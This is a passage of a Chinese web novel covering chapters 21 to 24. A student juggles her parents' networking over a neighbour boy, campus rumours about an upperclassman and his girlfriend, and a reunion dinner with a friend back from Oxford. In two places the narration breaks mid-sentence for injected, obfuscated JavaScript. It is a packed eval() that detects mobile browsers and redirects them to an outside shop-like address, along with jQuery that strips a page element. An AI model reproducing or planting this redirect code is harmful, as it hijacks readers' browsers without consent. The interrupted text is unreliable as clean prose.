两人简直难姐难弟,回去的路上,一起吐槽昨晚楼下那个耍酒疯的人。何希簏住的房间刚好就在她头顶,两人都听见了。 祝岁祯看了眼他买的泡面,好奇问:“你中午吃这个?家里没做饭呀。” 何希簏解释:“我大姑去找我表姐了,家里没人。哦,这是我大姑的房子,因为离二中特别近,我就常在这里住。” “怎么不回家,你爸妈呢?” “我爸妈趁着十一自驾游了,我就懒得回去。” “哦……”祝岁祯知道,作为友好邻居,这时候应该热情地请他来家里吃饭。 但可能因为对方是男生,她就不想请,连客套话也懒得说。 两人上楼的时候,聊起二中的学习生活,何希簏说他宿舍晚上蛮吵的,正在考虑要不要跟班主任申请走读。 祝岁祯想都没想,直接告诉他走读。高考是大事,好哥们儿什么的都往后排。 中午吃饭的时候,她随口聊起这事。知道她没请何希簏来吃饭,祝金爀急得直叹气。 “那小孩儿他爸,是我们单位上级集团的一个领导!哎呀你……你就算不知道,哪怕是普通邻居,起码也得表示表示啊……” 祝岁祯不情不愿的:“我说不太合适吧……你俩说倒还差不多。” “有什么不合适的,你是姐姐,照顾一下邻居弟弟怎么了?” 祝岁祯低头戳着饭,都怪俞惟叙之前说的那番屁话,搞得她现在跟别的男生正常交流都得掂量半天。 她也怪自己,怎么就被他给影响了,那人跑那么远,哪里还管得着她。 但她觉得奇怪,以前爸妈是不太喜欢搞人际关系这一套的,怎么现在突然…… 甄念看出了她的疑惑:“我跟你爸想到时候退休返聘,哪怕就一个人也行,能多挣点是点。这种事得早些找关系,给人家安排的时间。” 祝岁祯愣住:“都退休了,还上班?你俩不计划着去玩吗?” “玩什么玩啊,攒攒钱实在。我俩在家闲着没事上网,看现在年轻人在北上广漂着,压力多大呀。爸妈没给你攒多少钱,越想越着急。” 甄念拉着她的手:“你看我俩身体也挺健康,年年体检没什么毛病,上个班不轻轻松松?还有经验,对不对?” 祝金爀说:“我俩自己盘算的,不一定能成啊,谁知道以后单位的规矩怎么变呢。只是想咱先尽量把这人脉搭着,混个脸熟,回头万一真用得上,起码好张口。又不费什么事,对不对?” 祝岁祯低头默默吃饭。 看来楼上那何希簏还是得好好应付着,不说多热情吧,起码在她这里不能掉链子。 晚饭前,她根据爸妈的指示,给何希簏发了消息,问他要不要下来一起吃晚饭。 何希簏很干脆地回复:【要!】 祝岁祯看着那个感叹号,叹了口气,不怎么开心。 但爸妈应该会开心。 22. 第二十二章 爸妈让她把屋子收拾收拾。祝岁祯有点懒得搞,找了纸箱把暂时不用的东西全扔进去,小客厅瞬间整洁许多。 她把军训内务检查那招,重新演了一遍。 到饭点了,何希簏居然还带了本书下来,说有不会的地方想请教。 爸妈好一通夸呀,说这孩子多么勤奋、一定考得比她还好blabla,可祝岁祯眼里只有桌子上丰盛的饭菜。 好在祝岁祯爸妈知道拉关系这种事急不得,不能表现得太明显,所以饭桌上关于何希簏爸妈的话题仅限于自驾游,工作相关的一点儿没聊。 饭后这小孩自告奋勇要去洗碗,爸妈急忙把他拦下,让他和祝岁祯讨论学习。祝岁祯不得不接过题册,然后发现这小子让她看的是数学压轴题的最后两小问。 娘诶,这两小问,她最巅峰的状态下都不一定做得出来,更何况距离高考都三四个月了…… 硬着头皮回想,模糊零碎的记忆片段渐渐归拢、拼凑整齐。 那是年初乍暖还寒的时候,这个题型她一直不会,做多少遍、看多少次答案,再遇到还是做不出。当时路齐江直接总结了这个题型所有能出题的模式,让她硬背。后来她慢慢理解了。 祝岁祯学着路齐江、甚至申越的方式,尽可能地把解题思路一点点给何希簏理顺。可惜当时路齐江整理的内容她没保存,不然直接让何希簏也照着背了就完事。 何希簏花式道谢。祝岁祯送他出门时,脸上笑吟吟地说有空了常来玩,心里盼着他别再出现。 有外人在,她都不好意思邋邋遢遢、随心所欲地在家吃饭。 接下来两天,这小子除了早餐,顿顿来蹭,还装模作样地问:“我是不是太打扰你们了?” 祝岁祯腹诽:你还知道啊! 爸妈笑呵呵地说就是添双筷子的事儿,让他随时来。 但祝岁祯完全不觉得只是“添了双筷子”,起码添了三双! 每次饭桌上,她都惊叹自己看走了眼。这个在她第一印象中“白白净净有少年感”“瘦得像纸片人”的弟弟,竟然是个干饭狂魔…… 她暗暗在背地里合计他吃了她家多少伙食费。 不过他来蹭饭的第三天上午,何希簏突然往她家搬了好些食材,甚至还有超市里进口的牛肉。 他和他爸妈说了在邻居家蹭饭,他爸妈过意不去,给他钱让他买些生鲜产品来,放祝岁祯家做了一起吃。 这下祝岁祯也没法说什么了。 有了何希簏的“进贡”,祝岁祯爸妈做的饭更丰盛了。何希簏还专门拍了餐桌照片发朋友圈。 【楼下叔叔阿姨家做的饭太好吃了,每天都吃到撑】 祝岁祯刷到时,点开照片,在照片的餐桌对面看到了自己。不过没拍到脸,倒也无所谓。 她顺手点了个赞。 不过她突然想起来,前几天凌晨给俞惟叙点赞了之后,朋友圈好像没收到其他共同好友的点赞评论通知?不应该啊。 祝岁祯找到俞惟叙的头像,翻他朋友圈,但他设置了三天可见,那条动态已经看不见了。 假期过得飞快,朋友圈里同学们各种晒风景照,她羡慕之余挑了几个熟的同学点点赞。 辛君学长晒了和女朋友在澳门的游客照,她好奇看了眼,这学姐也蛮漂亮的。 返校的路上,她刷手机时被种草了香薰灯,可以拿来配俞惟叙送她的蜡烛,省得点火冒烟导致触发宿舍的烟雾报警器。 于是她花好几十买了个便宜的,用下试试。 回到宿舍,祝岁祯把家里带的特产给舍友们分了些,然后换洗床单、吃饭,晚上拿妈妈给的草药包放盆里泡脚。 有个法学院的女生和小羊认识,来宿舍串门,一进来就看见祝岁祯的架势:像老年人一样用药材泡脚、身子扭成三节歪在桌子边看剧。 “哈哈哈……不是,你们学院大名鼎鼎的美女,怎么私下里是这个样子,哈哈哈哈……” 小羊笑道:“你可不知道,她活得特别糙,今天用药材泡脚已经算是精致了。” 祝岁祯反驳:“这不是糙,是极简风格。主要是没钱,有钱咱也能精致。” 话音未落,梦梦说:“呀,俞惟叙发朋友圈了!” 远文没有他好友,凑过去看。 祝岁祯也好奇地拿起手机刷朋友圈。 【M大卡套和牛津学生卡,绝配!】 照片上是他的手,拿着他的牛津学生卡,外面套着他从祝岁祯这里打劫走的卡套。 图片背景是牛津标志性的古典哥特式建筑,完全是《哈利波特》电影中的奇幻世界。定位在牛津大学。 梦梦发现这条动态的时候,下面已经有一大堆赞评了,各种“哈哈哈”排了一长串,都说他凭一己之力给M大提升了逼格、我们M大的卡套也是出息了…… 祝岁祯瞬间释然了,她的卡套这才算是有个好归宿。 给他点个赞吧,让他带着她的卡套去看看世界。 两位当事人都不知道的是,这一版限定迎新卡套,当晚在学校二手群里身价暴涨,一度突破了四百块。 -.- 国庆之后,舍友们都忙了起来。 学校举办主持人大赛,小羊作为校文艺部干事,要参与海选、初赛、复赛、决赛全程的幕后工作。经常晚上回来就和舍友们分享,哪个选手干什么搞笑的事了、哪个学院有帅哥、学校领导层有什么八卦…… 梦梦下决心要减肥,办了学校健身房的卡,每天根据课程设置抽空去锻炼,还请了私教。她发誓要让自己瘦下来,让vlog评论区那些口出恶言的人闭嘴。 远文申请了勤工俭学去图书馆整理书籍,周六日就出去做家教,很少待在宿舍。生日的时候,三个舍友共同出资给远文买了生日蛋糕和礼物,她看起来特别开心,说好多年都没吃过蛋糕了。 至于祝岁祯,就只是上课和吃饭会出门,偶尔陪梦梦出去录素材,其他时间都窝在宿舍自习。 在宿舍里,她不开大灯,只用自己的小台灯。每天学习前都颇有仪式感和情调地拿出香薰蜡烛和融蜡灯,让高级好闻的香味伴着自己学习。 但因为这蜡烛太贵,她只舍得融十来分钟,省着用。 回校三周后甄念打电话问女儿,上次国庆回家,箱子里的橘色袋子是哪里来的。 祝岁祯说是同学给的。 然后爸妈齐上阵,旁敲侧击地打听她有没有谈恋爱。 祝岁祯觉得奇怪,让他们别绕弯子了,直接说事。 妈妈说,她上班时在阳台随便拿了个袋子装东西,谁知到了办公室,同事们都说她发财了,买那么大个爱马仕。 祝岁祯明白了……她早该想到的,俞惟叙能拿出来的肯定是奢侈品牌子啊!她还傻傻地以为那只是个质量好的袋子。 爸妈虽然听她解释了一通,但还是叮嘱她如果谈恋爱了就和爸妈说、缺钱了也和爸妈要,千万不能因为别人随便给点好处就陷进去了…… 祝岁祯一边看小说,一边心不在焉地应付他俩。 这些话她从小听到大,警惕性早就养成了,好多男生都叹气,说她不好追。 那是不好追吗?是不好骗吧。 -.- 11月突然降温,梦梦要祝岁祯陪她去钓鱼台银杏大道,拍vlog素材。本来约好了周日上午,但导员突然找到祝岁祯,想让她帮个忙。 周日学院要办一个全国范围的金融ESG论坛,许多高校的教授和企业高管都会来参加。 本来定了本院的学姐来主持,这学姐刚在学校的主持人大赛上获三等奖。但她因为出去玩,冻感冒了,鼻塞呼吸不畅、咽痛得像吞刀片,学院只能另找他人。 因为想把机会留给自己学院的学生,而且又对主持人的形象有要求,导员推荐了祝岁祯。 她接到这个委托,着实有点忐忑,已经多少年没干过这种露脸的活儿了…… 最近的一次记忆,大约是初三的时候,市电视台来学校取材,讲初三考生们为了中考奋力冲刺,需要找学生采访,班主任写了几十个字的稿子让她照着背。 那时候她正是张扬的年纪,仗着自己好看,天不怕地不怕,撸起袖子就是干。现在呢,经历多了,反倒开始畏手畏脚。 导员让她不要紧张,词都写好了。一个开场、几个转场介绍、再一个结束语,念完就齐活儿。临场发挥的事交给学院的行政老师,她们是组织论坛的人,对流程和专家、嘉宾们更了解。 至于着装,导员说不用非得穿正装,不要太休闲、太暴露就行。也不用化妆,不会对她专门拍照录像。 她找小羊借了件拉夫劳伦的白色衬衫,配上深色牛仔裤,扎了个干净利落的马尾,整个人看起来既有学生的青春直爽、又不失稳重大方。 虽然有手卡可以读词,但以防万一,她下了功夫尽量背下来。 早上7点到会场时里面还在布置,技术老师调试音响、大屏幕,学生志愿者摆桌子椅子和名牌。 见祝岁祯来了,学院老师让她去主持人的位置,把所有的词都先读一遍听听效果。 刚读到第二位演讲嘉宾的介绍时,旁边突然响起快门的咔嚓声。 她被打断,抬眼一看,居然是辛君,于是把话筒关掉,跟学长打了个招呼,然后跟他商量好不要拍她,毕竟她没打扮自己,怕给学院丢人。 这时有另一个认识辛君的同学过来,好奇地问他为什么会出现在这里。 这论坛是学院承办的,按理只需要院级学生部的人来干活就行,不需要校级媒宣部的副部长亲自出马。 辛君找了个借口,说自己没用过手里这台相机,趁今天的活动来适应适应。 祝岁祯练得差不多,去场地后面看了下录像回放,摄像机为测试效果录了影片。 屏幕中自己带着淡淡的笑容,口齿清晰,虽然不像专业的播音主持那样情绪饱满有感染力,但大大方方、不结巴不紧张,在她看来已经算不错。 参与论坛的人们陆续签到进场,祝岁祯在休息室里又检查了下仪容仪表,确认没问题后,出来坐在自己的位置上。 论坛开始,她深吸几口气,起身走到斜前方观众席和讲台中间的位置,面带微笑将话筒举到嘴边。 客套简单的开场白,她直接脱稿看着远处的摄像机背了出来。介绍嘉宾的时候再看手卡,保证不出错。就这样,她完成了第一次在M大的论坛主持工作。 宣布结束后,许多人没走,想互相认识认识、和嘉宾合影。祝岁祯的任务结束,去休息室穿上厚外套、拿上包,飞速地溜出去,和在等她的梦梦打车。 出租车堵在西直门的时候,祝岁祯突然接到导员的电话。 “你怎么这么快就跑了?” 祝岁祯不明所以:“啊?我问了我旁边咱学院的行政老师,她说我可以走了。” 导员恨铁不成钢:“你以为咱学院为什么把主持的位置留给你们啊,就是让你们能有机会认识这些教授、高管们。以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313096|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后想要人家研究生的名额、或者想进人家公司实习工作,这不就提前混个脸熟?哎呀你呀,就知道玩儿。” 祝岁祯顿时反应过来,原来还能这样?! 她只觉得自己跟那些大佬们差距太大了,没人会鸟她,她也完全没往这方面想过。 但现在折回去也来不及了。导员说这次太忙,忘了提醒她,让她下次要珍惜机会。 梦梦以为是因为自己一直在催她出来,才导致她没能跟大佬们搭上人脉,实在有些抱歉。于是请客让祝岁祯吃饱喝足了,两人才往银杏大道走。 这里周日人还不少,不过倒也能找到空隙拍点镜头。 金灿灿的树、金灿灿的路,和蓝天十分相称。旁边的钓鱼台国宾馆一看就不是普通人能进的,门口警卫站着岗呢。 从外面往里看一眼,这国宾馆简直就是皇家园林。梦梦感叹生不逢时,没能入住体验一把。 时间还充裕,她们从东门进玉渊潭。这个公园古建筑不多,主打一个占地面积大、景色优美。各区域的名字也相当有诗情画意,什么“漱玉亭”“鱼泉鸣月”“在水一方”等等。 公园的各个角落都能看到西边一个高高的塔,有一点像东方明珠。梦梦拉着她直接从西北门出去,买票进了这个中央电视塔。 上面的观景台可以俯瞰北京城景。东边一望无际的高楼,西边连绵起伏的山脉,组成了这个首都城市。 晚上梦梦剪完视频,刷到朋友圈里有人转发今天的论坛推送,于是也转发了。 远在英国的俞惟叙终于趁着周日睡了个懒觉,晨跑回来之后随便弄个三明治对付早餐,边吃边看消息。 朋友圈里,周梦津转发了学校的推送,配文: 【今天的主持人是我们宿舍的大美女哦嘿嘿嘿】 俞惟叙立刻点开。 懒得看文字,他直接全屏了图片之后一张张往后刷,刷到第三张,祝岁祯出现在屏幕上。 身姿纤细笔直,曲线玲珑。高高扎起的马尾露出圆润优越的头骨和修长的脖颈,迷人的侧脸挂着温和的笑,眼神直视远方。 她虽然只占了照片的三分之一,但光芒完全盖过了另外三分之二的几位嘉宾和身后的大屏幕。 俞惟叙没有意识到自己的嘴角翘起,观摩这张照片已经很久了。 这闷葫芦居然能拿到论坛主持人的机会?可以啊你。 不过他猜测,这大概不是祝岁祯自己申请的,多半是学院给的任务。 自从他认识祝岁祯,就没见她主动举过手。不管是报到后的班级活动、自我展示竞选班委;还是军训表演才艺、给大家做示范;又或是上课老师提问、请大家积极发言…… 这姑娘永远低着头一声不吭,一点儿露脸的意思都没有,低调得出奇。 再往后刷,又看到一张拍了观众席的照片。因为祝岁祯坐在第一排最边角的位置,刚好能拍到她全身。 她正襟危坐看向大屏幕,听得十分认真。但桌子下面……俞惟叙笑得差点儿被三明治呛到。 祝岁祯那两只脚以十分诡异的姿势崴着,小腿和鞋子都快撇成九十度了,任谁看见都得评价一句:踝关节很逆天。 他又刷了刷,确定没别的图了,他保存这张,去列表里搜出祝岁祯,把图片发给她。 俞惟叙:【你的脚踝还好吗?】 祝岁祯震惊了!他一个在英国的人,是从哪里看到的!! 随后,她想起什么,赶快去翻了翻朋友圈……哈,果然。 祝岁祯:【本来都跟摄影的学长说好了,不要发我的照片,我就是个临时工……人与人的信任在哪里?】 俞惟叙:【究竟是人性的泯灭,还是道德的沦丧】 突然,他意识到什么,迅速回到那篇推送,直接滑到最后看文章署名,摄影那行果然出现了辛君的名字。 再回去刷刷那些照片,多少能看出些端倪。 比如第二张图,已经从正中央的角度拍过讲台上的嘉宾了,第三张硬要再加一张从祝岁祯角度拍的。 后面那张观众席也是同样,多发了张带祝岁祯的。 明晃晃的夹带私货!这人什么心思,简直昭然若揭。 虽然他已经给祝岁祯打过预防针了,也破天荒地第一次这么关注一个女生、找各种牵强的理由干涉她的事情,但俞惟叙这心里还是很堵。 他劝祝岁祯有用吗? 他管不了别的男生喜欢她。 回去聊天界面,他在输入框打了字又删掉,最后也只能问一句: 【我不在的时候,有好好学习吗?】 祝岁祯:【哼,这话说得!本人一向努力学习,连社团和学生会都没参加,你在与不在莫得区别】 俞惟叙:【哟,是吗?等年级排名出来了,我可要看看。咱学校国奖和学奖的排名是年级前多少来着?】 祝岁祯:【不同等级不一样,想有奖金的话起码前30】 俞惟叙:【打赌吧,看你这次期末能不能到前30名,下多少钱的注?你定】 祝岁祯:【300!我输了请你吃人均300的饭。我赢了的话,之前欠你的饭钱一笔勾销,怎么样?】 俞惟叙:【你滴大大滴狡猾,这不是一码事。饭是饭,打赌是打赌,重新说】 祝岁祯:【……】 祝岁祯:【100,不能再多了】 俞惟叙:【好,买定离手,公布排名的时候见分晓】 祝岁祯:【OK!】 23. 第二十三章 就在祝岁祯天天闷宿舍学习的时候,有关她的流言蜚语悄然而起。 原定的主持人学姐因为感冒,怕传染舍友、同学,刚好她家在京郊,就直接请了病假回家休养,再出现在众人视线中的时候,已经快好得差不多了。 但极少有人知道她生病。 所以众人眼中的事实是:学姐是学院钦点的主持人,还发了朋友圈感谢学院给机会。可论坛当天,主持人悄无声息地换成了祝岁祯。 其中的“原因”不难猜:必然是祝岁祯仗着颜值高,顶替了学姐的位置,可能还动用了什么手段。 同学们大多都是普通人家的孩子,对这种靠脸、靠关系、靠资源抢位置的人深恶痛绝,所以此事在学校内传播甚广。 即便舍友们帮她辟谣,也顶多对学院内、并且仅限于大一的同学们有点作用。 简单又无聊的真相,哪里比得上劲爆的谣言传播速度快呢?知道了真相的人,通常也懒得专门告诉别人。 要不是舍友们讲给她,她都不知道这些事。 祝岁祯想了想,真是讽刺。自己辛辛苦苦帮忙补了空缺,没捞到什么人脉资源,反而却被误解造谣…… 她更加懒得和同学们社交了,总觉得除了舍友之外,都是爱造谣看热闹的。 -.- 12月初的第一堂选修课,祝岁祯刚进教室把书包放下,准备拿出英语四级真题来刷,后背就被人拍了拍。 她回头一看,是个漂亮的女生,长得有点眼熟,没想起来是谁。 “是祝岁祯吧?” 她点点头。 那女生勾了勾手:“你出来下,有话和你说。” 祝岁祯跟了出去,到走廊尽头才停下,那女生看着她,问:“我听说你现在单身?” 祝岁祯:…… “哦,我是经管学院的,大二,”那学姐继续问,“你现在有喜欢的男生吗?” 祝岁祯尴尬地笑了下:“这么突然吗?” “快上课了,我就不兜圈子了,有话直说哈。你认识辛君吧?觉得他怎么样?” 这学姐每句话都让她摸不着头脑。 “媒宣部的辛君学长吗……挺好的啊……” 学姐紧接着问:“那你想跟他谈恋爱试试吗?” 祝岁祯眼睛瞪大了:“学姐你说啥呢……人学长有女朋友的。” “我知道,我就是他女朋友。” 祝岁祯彻底石化了。 太炸裂了。 “呃……呵呵……啊这……”祝岁祯脑子快转冒烟了。 “我感觉辛君挺喜欢你的,之前有人说你顶替学姐主持人嘛,他还特别生气地跟人吵架,帮你说好话。” 祝岁祯迟疑道:“那我……谢谢他?” 学姐说:“我其实不太想跟他谈了……哦对了,我今天跟你说的话,你不要跟任何人讲!” 祝岁祯迷茫了。 “我们两家是世交,从小跟订了娃娃亲一样,但我其实不太喜欢他,可是不好开口说分手,我家里不同意。” 学姐继续快速说:“我前些天,才发现他好像挺喜欢你的,你如果对他也有好感的话,你俩在一起吧?这样的话分手就是他提的,我稍微装个样子,答应就行了。” 祝岁祯连忙摆手:“不不不……我对学长没有想法……” 学姐继续推销她的男朋友:“辛君还行啊,长得也算可以,哦,他家里条件还不错……我听说你家里好像一般。” 祝岁祯表情复杂,一时间不知道这学姐是心直口快、还是纯粹瞧不起她。 可她莫名突然想起俞惟叙,这个人军训结束那天告诫她别跟辛君走得近,防止人家女朋友来找她事。 人家女朋友确实来“找她事”了,只不过这个“事”,太诡异了。 开玩笑,祝岁祯才不会答应,这都什么啊乱七八糟的,你们自己的事情自己解决好吗?扯她进来当靶子? 该不会是来钓鱼的吧?她才不上当。 “呃……学姐,这真不合适,我对学长没什么意思,学长应该对我也没什么,可能是学姐您误会了。” 她努力保持礼貌:“至于别的,我什么都没听到,您不用担心我说出去,嗯,我先回教室啦,该上课了,拜拜。” 说完,她一溜小跑回到教室位置上。拿出手机,找到和辛君的聊天记录,录屏当做她清清白白的证据,随后迅速把辛君删掉。 这个世界还是太危险了,妈妈爸爸,我想回家。 但这事还没完。 11月底的时候,M大摄影协会发起了一项征集活动。 因为12月是校猫“狸学长”的生日月,摄影协会让同学们投稿自己和狸学长的趣事、自己拍的狸学长照片。 摄影协会将挑选有意思的做成一期合集,发在学校官方号上。 那个学姐来找她之后没几天,学校官方号就发布了专栏,庆祝狸学长生日月。 她的照片赫然出现在上面。 那张照片,不就是军训放假那天下午,辛君在湖边拍的她和校猫么?! 舍友们抓着她问校猫那张照片是什么情况,为什么摄影师是辛君? 舍友们还说现在学校里传着她和辛君的八卦,说她前顶替学姐主持人之位、后勾引学长行小三之实。 甚至连论坛的照片都是辛君拍的,俩人怕是早在军训时就勾搭上了。 祝岁祯无奈地解释照片由来,说自己和学长都没见过几次、没说过几句话…… 舍友们纷纷感叹,长得漂亮固然是好事,但太漂亮的话……就是腥风血雨了。 祝岁祯这四年可怎么过啊? 但她在想另外一件事。 如果辛君和学姐的关系正常,那他按理说不能把别的女生的照片署名投稿啊,这不是等着被女朋友鞭尸呢么? 看来他俩好像确实有点问题了。她可得万分小心,不能卷进去,不然谣言被坐实就不好搞了。 就在她打起十二分精神努力学习、并且夹着尾巴做人的时候,辛君洋洋自得地看着自己的作品被投票成为一等奖。 当他拿着投票结果去找祝岁祯的时候,屏幕上冷冰冰的系统提示给了他当头一棒:祝岁祯把他删了。 他惆怅了两天,从早到晚琢磨祝岁祯为什么要删他。可能是表情郁闷得太明显,他女朋友白声清问他怎么了。 得了一等奖还不开心?白声清心想,这男朋友真是难伺候。 这可是她鼓励他去投的作品,就在她发现自己男朋友喜欢那个女生之后。 终于让她找到机会了! 她其实暑假的时候就暗恋一个男生,当他的照片第一次出现在眼前的时候,她就知道这是她的天菜。 俞惟叙长得太帅了!每一个像素点都在她的审美上狂舞。 于是她找了学妹要到对方的联系方式,可俞惟叙竟然对学姐不理不睬。 哼,小样儿!男人嘛,都是一个德行,等她把他拿下,必须好好整治他! 但首要问题是甩掉辛君,因为俞惟叙似乎从别人那里得知她有男朋友了。 辛君对女朋友的想法浑然不觉,只以为女朋友善解人意,实际上,他脑子已经不是很清醒了。 或许是两人从小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313097|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到大的友谊,让他把白声清当亲友,而不是女友来对待。 他对白声清说了苦恼,白声清没想到祝岁祯居然做得这么干脆。 但这么好的机会,错过就很难等下一次了,现在外面的谣言对白声清很有利、辛君一头陷在祝岁祯那里也是个很好的状态。 于是白声清暗地里做了很多动作,包括跟辛君的好朋友们说他喜欢祝岁祯,同时还在辛君面前夸祝岁祯多么好、多么漂亮、多招人喜欢……让辛君知道自己愿意放手成全他们,让辛君去努努力。 辛君真的信了,包括哥们儿都怂恿他去表白,先把校花泡到手再说! 于是他重新申请好友,问祝岁祯怎么把他删了。 祝岁祯实在没办法,又不好得罪学长,只能通过申请,谎称辛君的名字和头像跟前些天一个骚扰她的人很像,误删了。 辛君心里的石头终于落地,原来不是讨厌他啊。 但他想约祝岁祯出来还是很难,因为16号就要考四六级了,祝岁祯说自己在快班,考不过会很丢脸的,所以要努力刷题背单词,辛君也不好再打扰。 考完四六级,祝岁祯又借口下周有两门专业课的期末考试,等考完再说。 辛君继续等。 祝岁祯也确实没工夫理他,她只顾着刷排名呢。越靠前、拿到更多奖学金的可能性就越大。 钱可是她学习的一大动力啊,否则还得倒赔钱,她可没忘了和某人的赌注。 虽然某人可能早就忘了。 -.- 大一上学期的第一门课考完,出了考场,大黄让两个宿舍的人都先别走。七个人齐了之后,大家去隔壁一间没人的自习室。 大黄坐下,笑着说:“我感觉咱们好像拉个群比较方便,一会儿走之前咱们建一个。行,先说正事。鱼仔要回来了。” “噢噢噢~” “我去!” “哦吼~” 梦梦噼里啪啦地拍手:“好啊好啊,留子终于解放了,怎么说?他哪天到?” 大黄看着手机:“呃,21号!21号的下午落地,22号调一下作息时差,然后就想来跟咱们一起出去聚个餐。这周六、周日都行,让咱们定个时间。” 七个人有说有笑地商量,最后定下了周日,24号中午,去五道口吃火锅。这家店人气超旺的,据说经常要排很久队,好多人因为吃不上放弃了。 大黄将提前排号的重担扛在了肩上,对妹子们承诺一定会让大家在饭点儿吃上。 接下来是费用分摊的问题了。 因为大家都想着一起请俞惟叙吃这顿饭,按理说七个人直接把八个人的花销均摊就完事,但男生说他们吃的比女生多,必须得多摊点。 然后开始研究男女分摊比例,什么2:1、1.5:1的都出来了,祝岁祯觉得他们这么认真地在商量这件事,简直是闲的…… 但这还不算什么,梦梦接下来的发言直接推翻上述言论。她的观点是:不能看性别,应该以体重来分配费用。 她举例:像她自己,虽然是女生,但很能吃。像鸡哥虽然是男生,但瘦瘦弱弱一看就食欲不振的样子…… 鸡哥愤怒了,虽然照她这么一说,自己理论上可以少花些钱,但这钱省得怎么就这么不开心。 于是在笑闹声中,大家已经不在意自己要摊多少钱了,只想发明出来一种最牛逼的计算方式。 最后,定下了一个堪称离谱的费用分摊方法:用现场这七个人体测时的体重为基础,算每个人的加权平均费用…… 祝岁祯被笑得肚子疼,这几个人真是太能整活儿了。 24. 第二十四章 周五下午考完第二门课,祝岁祯刚跟舍友们出考场,就碰见等在门口的辛君。 舍友们互相交换了个意味深长的眼神,祝岁祯有些尴尬地看他。 据说辛君和那个学姐分手了。 他微笑着看祝岁祯,祝贺她又考完一门,然后说他买了国家大剧院晚上的演出,是个世界级钢琴大师的独奏,想请她一起去看。 祝岁祯脑子飞速转了下,立刻咳嗽了起来。 辛君正担忧地要看她的情况,祝岁祯说自己最近着凉了,支气管炎,嗓子和气管总痒痒,控制不住地咳嗽,不太好去剧院打扰别人欣赏音乐。 舍友们趁机帮她,说祝岁祯身体弱,最好别出门吸冷空气,她其实很想去的只是确实不太方便…… 辛君只能让她先回宿舍休息。 等祝岁祯回宿舍后,他又说自己买了各种各样的药,让她舍友帮忙下来拿。祝岁祯推辞,说医生已经开过了,不太好再吃别的,这种病就是要养,没办法的。 可辛君等得实在太久,甚至还和女朋友分了手就为追祝岁祯,他实在不想等了。 周日早上,他发消息问祝岁祯什么时候有空下楼,有重要的事想说,几句话就行。 祝岁祯直觉没什么好事,她可太有经验了,毕竟这么多年被各种花式表白。于是直接装没看见。 中午,大黄已经去火锅店约好了大桌,两个宿舍在楼下集合,六个人往五道口去。 俞惟叙比他们先到,和大黄坐下后帮大家点了锅底和一些荤素菜。祝岁祯走在最前面,一行人被服务员领着往店内落座。 这个火锅店果然爆满,在电梯口都能闻到香味,进来后更是辣气扑鼻,惹得祝岁祯总想打喷嚏。 她身后的梦梦和鸡哥、箫剑远远就看见俞惟叙了,还没到跟前就激动地嚎了起来。 周围食客们都投来好奇的目光,祝岁祯有些尴尬,只想跑路。 俞惟叙听见动静后跟他们招手,见祝岁祯那副样子,顿觉好笑。 三个月没见,她怎么还是这幅呆萌样儿。 祝岁祯率先走到桌前,使劲揉了揉鼻子,笑着跟他打招呼:“Long time no see !” 俞惟叙拍了拍旁边的凳子:“好久不见,来,坐。” 然后就和其他同学们打招呼了。 祝岁祯挨着他坐下,捂着脸,终于把这个喷嚏打了出来。 热热闹闹地聊了一会儿,俞惟叙从身后的凳子上拿过来个袋子。 小羊蹭地一下坐直:“哟,鱼仔给我们带了什么好东西!” 俞惟叙笑着从袋子里往外掏:“不算什么好东西,只是觉得还稍微有点纪念意义吧。” 是笔。 俞惟叙一边整理,一边跟大家解释,因为临走时才想起来得给大家带点小礼物,但他随身只拿了个登机的小箱子,没太多富裕的空间。 正好学院旁边有个牛津的纪念品商店,他看了一圈,只有这两款签字笔是最不占地方的,而且大家都用得上。 他买了两种笔,每人两支。只是挺便宜的,希望大家别嫌弃。 祝岁祯拿到手里细细端详,这两种笔一个带着透明壳子包装,上面印着4.5英镑的价签,另一个不带包装。都是深蓝色的,上面有牛津大学的标志和英文校名。 这还便宜吗?一支笔几十块钱诶!祝岁祯可太喜欢了,她才舍不得用。 梦梦说:“鱼仔你这礼物来得太及时了!考试的时候我要用它,让牛津的笔保佑我不挂科!” 箫剑笑说:“咱这算作弊吧哈哈哈哈,借助西方神秘力量……” 又点了些菜,八个人围成一桌热热闹闹地吃着火锅,聊着趣事。 俞惟叙本来2号就放假了,但他有课题要和老师还有几个学长学姐一起做。本来忙得都不想回来了,但欧美人要过圣诞的,课题组一下子没人了。 况且家里姥爷也常念叨他,盼着他回来。因为国外不给中国人放春节假,他再不趁着圣诞假回国,多少有些不合适了。 大家纷纷感叹,以为富二代砸几十、上百万出去交换,只是为了刷刷体验,没想到人家是真学啊。 吃饱喝足,每个人嘴巴都被辣得红彤彤,大黄结账了之后,两宿舍穿上外套朝门外走去。 祝岁祯和俞惟叙因为靠墙坐,走在最后,俞惟叙问她:“怎么样,北京的冬天,还习惯吗?” 祝岁祯想了想:“太干燥了……不过好处是有暖气,屋里不冷。英国现在冷吗?” 俞惟叙拉上拉链:“冷,但比北京好多了,没有北京这妖风。当然也比北京湿润些。就是天黑得早。” 电梯人太多,大黄和小羊在前面带头,让大家走楼梯。 俞惟叙趁大家都下楼,没人注意他俩的时候,拍了拍祝岁祯。 祝岁祯扭头,俞惟叙手里拿着个什么东西,直接塞进她外套的大口袋里。 